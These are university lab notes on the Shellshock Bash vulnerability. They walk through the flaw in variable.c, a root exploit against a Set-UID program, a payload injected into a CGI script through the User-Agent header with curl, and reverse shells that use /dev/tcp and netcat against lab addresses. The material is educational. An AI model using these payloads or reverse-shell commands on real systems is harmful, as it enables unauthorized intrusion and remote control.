# 03 Shellshock
NTNU 資安攻防演練
##### [Back to Note Overview](https://reurl.cc/XXeYaE)
##### [Back to Information Security: A Hands-on Approach](https://hackmd.io/z5PJjK7eTJ29YEhMjyAaCw)
<!-- {%hackmd @sophie8909/pink_theme %} -->
###### tags: `攻防演練` `110-1` `CSIE` `選修` `NTNU`
<!-- tag順序 [學校] [系 必選] or [學程 學程名(不含學程的 e.g. 大師創業)] [課程] [開課學期]-->
## Overview
- [Shell Functions](#Shell-Functions)
- [Shellshock Vulnerability](#Shellshock-Vulnerability)
- [Shellshock Attack on Set-UID Programs](#Shellshock-Attack-on-Set-UID-Programs)
- [Shellshock Attack on CGI Programs](#Shellshock-Attack-on-CGI-Programs)
- [Reverse Shell](#Reverse-Shell)
## Shell Functions
- Shell function is a special type of variable that is essentially
- Shell functions are declared using this syntax:
> function_name () compound-command
> function_name [()] compound-command
- The body of a function must be a compound command, such as a {$\cdots$} block.
- This is the conventional choice, even when all it contains is a single compound command and so could theoretically be dispensed with.
```shell=
#/bin/bash
test_arg(){
echo $1
echo $2
echo $@ # All postional arguments (as seperate strings)
echo $* # All postional arguments (as a single word)
echo $#
}
echo "---Test1---"
test_arg hello
echo "---Test2---"
test_arg hello world kitty
```
```shell=
$ foor() { echo "Inside function."; }
$ declare -f foo # check foo is declared or not
.
.
.
$ unset -f foo # delete foo function
```
1. Define a <font color=purple> **function** </font> in the parent shell, and then export it. The child process will have the function.
2. Define an environment variable. It will become a function definition in the child bash process.
```shell=
$ foo='() { echo "Inside function."; }'
$ echo $foo
() { echo "Inside function."; }
$ declare -f foo
$ export foo
$ bash_shellshock
(child) $ foo
(child) $ declare -f foo
foo() {
echo "Inside function."
}
```
- **bash_shellshock** is an unpatched bash. That is say that it would change a nornal environment variable become to a shell function.
## Shellshock Vulnerability
The root cause is in *variable.c* around 300-350.
```c=
void initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
...
// If exported function , define it now.
// Don't import functions from the environment in privileged mode.
if (privmode == 0 && read_but_dont_execute == 0
&& STREQN ("() {", string , 4))
{
...
string_length = strlen (string);
temp_string =(char *) xmalloc (3 + string_length + char_index );
strcpy (temp_string , name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
parse_and_execute (temp_string , name ,
SEVAL_NONINT|SEVAL_NOHIST );
}
```
- The program will check the key string <font color=red> "() {"</font>. If matched, the string will be treated as a function.
- **char_index** is the position of the character '='. So the program change the character from '=' to ' '.

Two conditions are needed to exploit the vulnerability.
1. The target process should run bash.
2. The target process should get untrusted user input via envirenmenet variables.
## Shellshock Attack on Set-UID Programs
```c=
$ gcc vul.c -o vul # use system to call /bin/ls -l
$ ./vul
...
$ sudo chown root vul
$ sudo chmod +s vul
$ ./vul
...
$ foo='() { echo "approach 2"; }; /bin/sh'
$ export foo
$ ./vul
sh-4.2# # get root with in bash
```
## Shellshock Attack on CGI Programs
- You should know the parameters are passed through <font color=red> **environment variables**</font>.

```shell=
# getenv.cgi
# !/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Varialbes ******"
strings /proc/$$/environ
```
```shell=
$ curl -v https://10.9.0.80/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to 10.9.0.80 (10.9.0.80) port 80 (#0)
> GET /cgi -bin/getenv.cgi HTTP /1.1
> Host: 10.9.0.80
> User -Agent: curl /7.68.0 # <---
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP /1.1 200 OK
< Date: Fri , 02 Jul 2021 16:55:03 GMT
< Server: Apache /2.4.41 (Ubuntu)
< Vary: Accept -Encoding
< Transfer -Encoding: chunked
< Content -Type: text/plain
<
****** Environment Variables ******
HTTP_HOST =10.9.0.80
HTTP_USER_AGENT=curl /7.68.0 # <---
<skip >
```
- You can see that the **USER_AGENT** is passed through the environment variable.
```shell=
$ curl -A "NTNU" -v http ://10.9.0.80/cgi -bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to 10.9.0.80 (10.9.0.80) port 80 (#0)
> GET /cgi -bin/getenv.cgi HTTP /1.1
> Host: 10.9.0.80
> User -Agent: NTNU # <--
> Accept: */*
>
* Mark bundle as not supporting multiuse
<skip >
****** Environment Variables ******
HTTP_HOST =10.9.0.80
HTTP_USER_AGENT=NTNU # <--
```
- And we can launch attack with **bash_shellshock**.
```shell=
$ curl -A "() { echo hello; };
echo Content_type: text/plain;
echo; /bin/ls -al" -v http://10.9.0.80/cgi-bin/vul.cgi
<skip>
< Content_type: text/plain
< Transfer -Encoding: chunked
<
total 16
-rwxr -xr-x 1 root root 130 Dec 5 2020 getenv.cgi
-rwxr -xr-x 1 root root 85 Dec 5 2020 vul.cgi
...
```
- The <font color=purple> **space** </font> is very important.
- Unfortunately, in Ubuntu, the web server runs with the <font color=red> www-data </font> ID, which implies that there are only few things that you can do.
- Besides, if wa can get an interactive interface, it will be better.
## Reverse Shell
- Reverse shell is a shell process started on a machine with its input and output being controlled by someone from a remote computer.
- Key idea: <font color=red> **Redirecting </font> a shell program’s <font color=blue> standard input and output </font> to network connections.
```shell=
$ gcc file_redirect.c -o file_redirect
$ ./file_redirect
100
Std Output: 100
Std Error: 100
$ ./ file_redirect 0< test0.txt 1> test1.txt 2> test2.txt
$ cat test1.txt
Std Output: 999
$ cat test2.txt
Std Error: 999
```

- A network socket is also treated as a file in Linux.
- So you can also redirect a network socket to a program.
- <font color=red> **Duplicate a file descriptor** </font>
```c=
#include <unistd.h>
int dup(int oldfd);
int dup2(int oldfd, int newfd);
```
```shell
$ cat < /dev/tcp/time.nist.gov/13
59401 21-07-06 01:41:20 50 0 0 22.9 UTC(NIST) *
```
### Note
- The **/dev** directary contains entries for the physical devices that <font color=red> may or may not </font> be represent in the hardware.
- For example: /dev/null, /dev/zero, /dev/random, /dev/urandom
- When executing a command on a <font color=purple> /dev/tcp/$host/$port </font> pseudo-device file, Bash opens a TCP connectnio to the associated socket.
### Now We Want to Start a Reverse Shell
1. The attacker first setups a server.
2. The attacker then builds a connection from the vuctim;s machine to its server.
3. The attacker starts an interactive shell on the victim’s machine, and redirect the shell’s input and output to the connection.
- <font color=blue> netcar (nc) </font> is a computer networking utility for reading from and writing to network connwctions using TCP or UDP.
```shell=
# (Attacker)
$ nc -lvn 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.80 52556
# (Victim)
$ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
# (Attacker)
$ ip addr | grep inet
ip addr | grep inet
inet 127.0.0.1/8 scope host lo
inet 10.9.0.80/24 brd 10.9.0.255 scope global eth0
```
- You can also use the fowlling command.
- /bin/bash -i &> /dev/tcp/10.9.0.1/9090 0<&1